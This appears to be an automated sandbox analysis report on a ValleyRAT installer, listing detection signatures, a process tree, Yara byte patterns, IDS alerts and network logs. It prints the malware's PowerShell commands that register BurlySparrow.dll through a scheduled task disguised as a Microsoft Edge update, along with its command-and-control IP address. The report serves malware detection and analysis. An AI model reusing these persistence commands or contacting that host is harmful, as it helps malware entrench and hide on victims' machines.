Edit tour

Windows Analysis Report
eXIHsSYhOX.exe

Overview

General Information

Sample name:	eXIHsSYhOX.exe renamed because original name is a hash value
Original sample name:	9170086e8d746e094ab4fe7444613030.exe
Analysis ID:	1583995
MD5:	9170086e8d746e094ab4fe7444613030
SHA1:	b8afef741c151864c6bffc41a82824e0f51c0b97
SHA256:	982c53771e2f23b29141062b5e2a90bf1588ce4a2dbb559031e7758bd192c8eb
Tags:	exeValleyRATuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Contains functionality to inject code into remote processes

Loading BitLocker PowerShell Module

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Suspicious powershell command line found

Uses Register-ScheduledTask to add task schedules

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

eXIHsSYhOX.exe (PID: 7776 cmdline: "C:\Users\user\Desktop\eXIHsSYhOX.exe" MD5: 9170086E8D746E094AB4FE7444613030)

eXIHsSYhOX.tmp (PID: 7792 cmdline: "C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp" /SL5="$2048C,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" MD5: E97363B64F37EE24CDD55CEA14D1C564)

cmd.exe (PID: 7824 cmdline: "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7876 cmdline: timeout /T 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

eXIHsSYhOX.exe (PID: 7948 cmdline: "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: 9170086E8D746E094AB4FE7444613030)

eXIHsSYhOX.tmp (PID: 7968 cmdline: "C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp" /SL5="$304E8,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: E97363B64F37EE24CDD55CEA14D1C564)

regsvr32.exe (PID: 7988 cmdline: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

powershell.exe (PID: 8120 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7380 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 3128 cmdline: C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 4900 cmdline: /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

powershell.exe (PID: 7436 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.2917895885.000000000429F000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2e0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x3816:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1cb50:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x20086:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.regsvr32.exe.4f812d5.1.raw.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1b87b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x1edb1:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 7988, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", ProcessId: 8120, ProcessName: powershell.exe

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 103.97.176.69, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\regsvr32.exe, Initiated: true, ProcessId: 7988, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", CommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp" /SL5="$304E8,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES, ParentImage: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp, ParentProcessId: 7968, ParentProcessName: eXIHsSYhOX.tmp, ProcessCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", ProcessId: 7988, ProcessName: regsvr32.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 7988, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", ProcessId: 8120, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll", ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 7988, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }", ProcessId: 8120, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T01:22:28.745998+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49736	103.97.176.69	443	TCP
2025-01-04T01:23:33.528707+0100	2052875	1	A Network Trojan was detected	192.168.2.4	53307	103.97.176.69	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\BurlySparrow.dll (copy)	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\is-SF7GG.tmp	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: eXIHsSYhOX.exe	Virustotal: Detection: 52%			Perma Link
Source: eXIHsSYhOX.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C8ADE90 BCryptGenRandom,SystemFunction036,		7_2_6C8ADE90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C8ADE90 BCryptGenRandom,SystemFunction036,		14_2_6C8ADE90

Source: eXIHsSYhOX.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\File_is1

Jump to behavior

Source: eXIHsSYhOX.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C870400 NetUserEnum,NetUserGetInfo,memcpy,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,LsaEnumerateLogonSessions,LsaFreeReturnBuffer,LsaGetLogonSessionData,memcmp,LsaFreeReturnBuffer,LsaFreeReturnBuffer,LsaFreeReturnBuffer,NetApiBufferFree,NetApiBufferFree,		7_2_6C870400
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 14_2_6C870400 NetUserEnum,NetUserGetInfo,memcpy,NetApiBufferFree,NetApiBufferFree,NetApiBufferFree,LsaEnumerateLogonSessions,LsaFreeReturnBuffer,LsaGetLogonSessionData,memcmp,LsaFreeReturnBuffer,LsaFreeReturnBuffer,LsaFreeReturnBuffer,NetApiBufferFree,NetApiBufferFree,		14_2_6C870400

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4x nop then push ebp		7_2_6C85C720
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4x nop then push ebp		14_2_6C85C720

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49736 -> 103.97.176.69:443
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:53307 -> 103.97.176.69:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\regsvr32.exe

Network Connect: 103.97.176.69 443

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:53046 -> 162.159.36.2:53

Source: Joe Sandbox View

ASN Name: ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK

Source: unknown

DNS traffic detected: query: 18.31.95.13.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69
Source: unknown	TCP traffic detected without corresponding DNS query: 103.97.176.69

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_02632FB0 select,recv,

7_2_02632FB0

Source: global traffic

DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: powershell.exe, 0000000A.00000002.1868255401.0000000006C70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1978277897.0000000003387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: regsvr32.exe, 00000007.00000003.1775901750.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889000583.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1759503664.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1756577607.0000000004189000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774948229.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917563598.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1888311741.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758105092.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1750414268.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1772234354.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1751777281.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758205297.000000000418C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774741083.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1749875575.0000000004191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.micro
Source: regsvr32.exe, 00000007.00000003.1775901750.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889000583.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1759503664.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1756577607.0000000004189000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774948229.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917563598.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1888311741.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758105092.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1750414268.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1772234354.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1751777281.0000000004191000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1758205297.000000000418C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1774741083.0000000004190000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1749875575.0000000004191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 00000008.00000002.1818056644.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1862302004.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1809903757.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004184000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000008.00000002.1809903757.0000000004D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.00000000051D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1809903757.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004184000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1809903757.0000000004D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1852228572.0000000004051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1982918321.00000000051D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: regsvr32.exe, regsvr32.exe, 0000000E.00000002.2029086598.000000006C955000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: eXIHsSYhOX.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: powershell.exe, 00000008.00000002.1818056644.0000000005DED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1862302004.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2001806142.000000000623C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: eXIHsSYhOX.exe, 00000000.00000003.1660219416.00000000034D0000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.exe, 00000000.00000003.1660568722.000000007F0BB000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.tmp, 00000001.00000000.1662025483.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, eXIHsSYhOX.tmp, 00000006.00000000.1692249801.0000000000DDD000.00000020.00000001.01000000.00000006.sdmp, eXIHsSYhOX.tmp.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: eXIHsSYhOX.exe, 00000000.00000003.1660219416.00000000034D0000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.exe, 00000000.00000003.1660568722.000000007F0BB000.00000004.00001000.00020000.00000000.sdmp, eXIHsSYhOX.tmp, 00000001.00000000.1662025483.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, eXIHsSYhOX.tmp, 00000006.00000000.1692249801.0000000000DDD000.00000020.00000001.01000000.00000006.sdmp, eXIHsSYhOX.tmp.0.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 53050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53307
Source: unknown	Network traffic detected: HTTP traffic on port 53056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53345
Source: unknown	Network traffic detected: HTTP traffic on port 53054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53349
Source: unknown	Network traffic detected: HTTP traffic on port 53276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53347
Source: unknown	Network traffic detected: HTTP traffic on port 53142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53050
Source: unknown	Network traffic detected: HTTP traffic on port 53060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53351
Source: unknown	Network traffic detected: HTTP traffic on port 53307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 53347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53353 -> 443
